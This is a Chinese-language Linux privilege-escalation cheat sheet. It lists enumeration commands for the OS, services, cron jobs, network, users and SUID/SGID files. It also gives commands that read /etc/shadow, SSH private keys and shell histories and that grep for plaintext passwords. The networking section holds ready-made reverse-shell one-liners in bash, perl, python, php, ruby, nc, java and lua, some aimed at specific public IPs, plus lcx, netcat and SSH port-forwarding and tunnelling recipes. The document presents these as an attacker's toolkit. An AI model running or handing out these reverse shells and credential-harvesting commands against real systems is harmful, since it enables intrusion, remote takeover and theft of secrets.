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Linux 提权常用命令集

0x00 操作系统相关

操作系统类型版本

  1. cat /etc/issue

 

  1. cat /etc/*-release

 

  1. cat /etc/lsb-release # Debian

 

  1. cat /etc/redhat-release # Redhat

 

内核版本,是否是64位

  1. cat /proc/version

 

  1. uname -a

 

  1. uname -mrs

 

  1. rpm -q kernel

 

  1. dmesg | grep Linux

 

  1. ls /boot | grep vmlinuz-

 

环境变量

  1. cat /etc/profile

 

  1. cat /etc/bashrc

 

  1. cat ~/.bash_profile

 

  1. cat ~/.bashrc

 

  1. cat ~/.bash_logout

 

  1. env

 

  1. set

 

查看是否有打印机

  1. lpstat -a

 

0x01 应用与服务相关

查看正在运行的程序及对应的用户权限

  1. ps aux

 

  1. ps -ef

 

  1. top

 

  1. cat /etc/services

 

以root权限运行的进程

  1. ps aux | grep root

 

  1. ps -ef | grep root

 

查看安装了的应用

  1. ls -alh /usr/bin/

 

  1. ls -alh /sbin/

 

  1. dpkg -l

 

  1. rpm -qa

 

  1. ls -alh /var/cache/apt/archives

 

  1. ls -alh /var/cache/yum/

 

一些服务的配置文件

  1. cat /etc/syslog.conf

 

  1. cat /etc/chttp.conf

 

  1. cat /etc/lighttpd.conf

 

  1. cat /etc/cups/cupsd.conf

 

  1. cat /etc/inetd.conf

 

  1. cat /etc/apache2/apache2.conf

 

  1. cat /etc/my.conf

 

  1. cat /etc/httpd/conf/httpd.conf

 

  1. cat /opt/lampp/etc/httpd.conf

 

  1. ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'

 

计划任务

  1. crontab -l

 

  1. ls -alh /var/spool/cron

 

  1. ls -al /etc/ | grep cron

 

  1. ls -al /etc/cron*

 

  1. cat /etc/cron*

 

  1. cat /etc/at.allow

 

  1. cat /etc/at.deny

 

  1. cat /etc/cron.allow

 

  1. cat /etc/cron.deny

 

  1. cat /etc/crontab

 

  1. cat /etc/anacrontab

 

  1. cat /var/spool/cron/crontabs/root

 

找存储的明文用户名,密码

  1. grep -i user [filename]

 

  1. grep -i pass [filename]

 

  1. grep -C 5 "password" [filename]

 

  1. find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

 

0x02 通信与网络相关

查看当前网络地址

  1. /sbin/ifconfig -a

 

  1. cat /etc/network/interfaces

 

  1. cat /etc/sysconfig/network

 

查看网络配置,DNS,DHCP,网关

  1. cat /etc/resolv.conf

 

  1. cat /etc/sysconfig/network

 

  1. cat /etc/networks

 

  1. iptables -L

 

  1. hostname

 

  1. dnsdomainname

 

查看网络通信

  1. lsof -i

 

  1. lsof -i :80

 

  1. grep 80 /etc/services

 

  1. netstat -antup

 

  1. netstat -antpx

 

  1. netstat -tulpn

 

  1. chkconfig --list

 

  1. chkconfig --list | grep 3:on

 

  1. last

 

  1. w

 

查看缓存

  1. arp -e

 

  1. route

 

  1. /sbin/route -nee

 

tcpdump

  1. tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

 

tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

交互式shell

bash版本:

  1. bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

 

perl版本:

  1. perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

python版本:

  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

php版本:

  1. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

 

ruby版本:

  1. ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

 

nc版本:

  1. nc -e /bin/sh 223.8.200.234 1234

 

nc不使用-e:

  1. mknod /tmp/backpipe p

 

  1. /bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

 

mknod:

  1. mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

 

java版本:

  1. r = Runtime.getRuntime()

 

  1. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

 

  1. p.waitFor()

 

lua版本:

  1. lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

端口转发

lcx -<listen|tran|slave>

  1. lcx -listen 4567 33891 #Attacker
  2. lcx -slave 111.222.333.444 4567 127.0.0.1 3389 # On the targets

ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

  1. ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
  2. ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

  1. mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe
  2. mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
  3. mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

隧道

  1. ssh -D 127.0.0.1:9050 -N [username]@[ip]
  2. proxychains ifconfig

0x03 用户相关

用户信息

  1. id
  2. who
  3. w
  4. last
  5. cat /etc/passwd
  6. cat /etc/group
  7. cat /etc/shadow
  8. ls -alh /var/mail/
  9. grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 列出超级用户
  10. awk -F: '($3 == "0") {print}' /etc/passwd #列出超级用户
  11. cat /etc/sudoers
  12. sudo -l

列家目录

  1. ls -ahlR /root/
  2. ls -ahlR /home/

从配置文件里面寻找密码

  1. cat /var/apache2/config.inc
  2. cat /var/lib/mysql/mysql/user.MYD
  3. cat /root/anaconda-ks.cfg

看其他用户的操作记录

  1. cat ~/.bash_history
  2. cat ~/.nano_history
  3. cat ~/.atftp_history
  4. cat ~/.mysql_history
  5. cat ~/.php_history

ssh私钥

  1. cat ~/.ssh/authorized_keys
  2. cat ~/.ssh/identity.pub
  3. cat ~/.ssh/identity
  4. cat ~/.ssh/id_rsa.pub
  5. cat ~/.ssh/id_rsa
  6. cat ~/.ssh/id_dsa.pub
  7. cat ~/.ssh/id_dsa
  8. cat /etc/ssh/ssh_config
  9. cat /etc/ssh/sshd_config
  10. cat /etc/ssh/ssh_host_dsa_key.pub
  11. cat /etc/ssh/ssh_host_dsa_key
  12. cat /etc/ssh/ssh_host_rsa_key.pub
  13. cat /etc/ssh/ssh_host_rsa_key
  14. cat /etc/ssh/ssh_host_key.pub
  15. cat /etc/ssh/ssh_host_key

0x04 文件系统相关

/etc/目录下面文件

  1. ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
  2. ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
  3. ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
  4. ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
  5. find /etc/ -readable -type f 2>/dev/null # Anyone
  6. find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

日志文件

  1. ls -alh /var/log
  2. ls -alh /var/mail
  3. ls -alh /var/spool
  4. ls -alh /var/spool/lpd
  5. ls -alh /var/lib/pgsql
  6. ls -alh /var/lib/mysql
  7. cat /var/lib/dhcp3/dhclient.leases

查看网站文件

  1. ls -alhR /var/www/
  2. ls -alhR /srv/www/htdocs/
  3. ls -alhR /usr/local/www/apache22/data/
  4. ls -alhR /opt/lampp/htdocs/
  5. ls -alhR /var/www/html/

常见日志文件

  1. cat /etc/httpd/logs/access_log
  2. cat /etc/httpd/logs/access.log
  3. cat /etc/httpd/logs/error_log
  4. cat /etc/httpd/logs/error.log
  5. cat /var/log/apache2/access_log
  6. cat /var/log/apache2/access.log
  7. cat /var/log/apache2/error_log
  8. cat /var/log/apache2/error.log
  9. cat /var/log/apache/access_log
  10. cat /var/log/apache/access.log
  11. cat /var/log/auth.log
  12. cat /var/log/chttp.log
  13. cat /var/log/cups/error_log
  14. cat /var/log/dpkg.log
  15. cat /var/log/faillog
  16. cat /var/log/httpd/access_log
  17. cat /var/log/httpd/access.log
  18. cat /var/log/httpd/error_log
  19. cat /var/log/httpd/error.log
  20. cat /var/log/lastlog
  21. cat /var/log/lighttpd/access.log
  22. cat /var/log/lighttpd/error.log
  23. cat /var/log/lighttpd/lighttpd.access.log
  24. cat /var/log/lighttpd/lighttpd.error.log
  25. cat /var/log/messages
  26. cat /var/log/secure
  27. cat /var/log/syslog
  28. cat /var/log/wtmp
  29. cat /var/log/xferlog
  30. cat /var/log/yum.log
  31. cat /var/run/utmp
  32. cat /var/webmin/miniserv.log
  33. cat /var/www/logs/access_log
  34. cat /var/www/logs/access.log
  35. ls -alh /var/lib/dhcp3/
  36. ls -alh /var/log/postgresql/
  37. ls -alh /var/log/proftpd/
  38. ls -alh /var/log/samba/

文件挂载

  1. mount
  2. df -h
  3. cat /etc/fstab

Find命令

  1. find / -perm -1000 -type d 2>/dev/null # 只有目录所有者才可以更改删除
  2. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
  3. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
  4. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
  5. for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # 从下面几个位置: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin 或者其他的bin目录寻找
  6. find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null #从/,SGUD或者SUID开始查找,排除符号链接,深度为3个文件夹,显示详细的清单并去除错误信息
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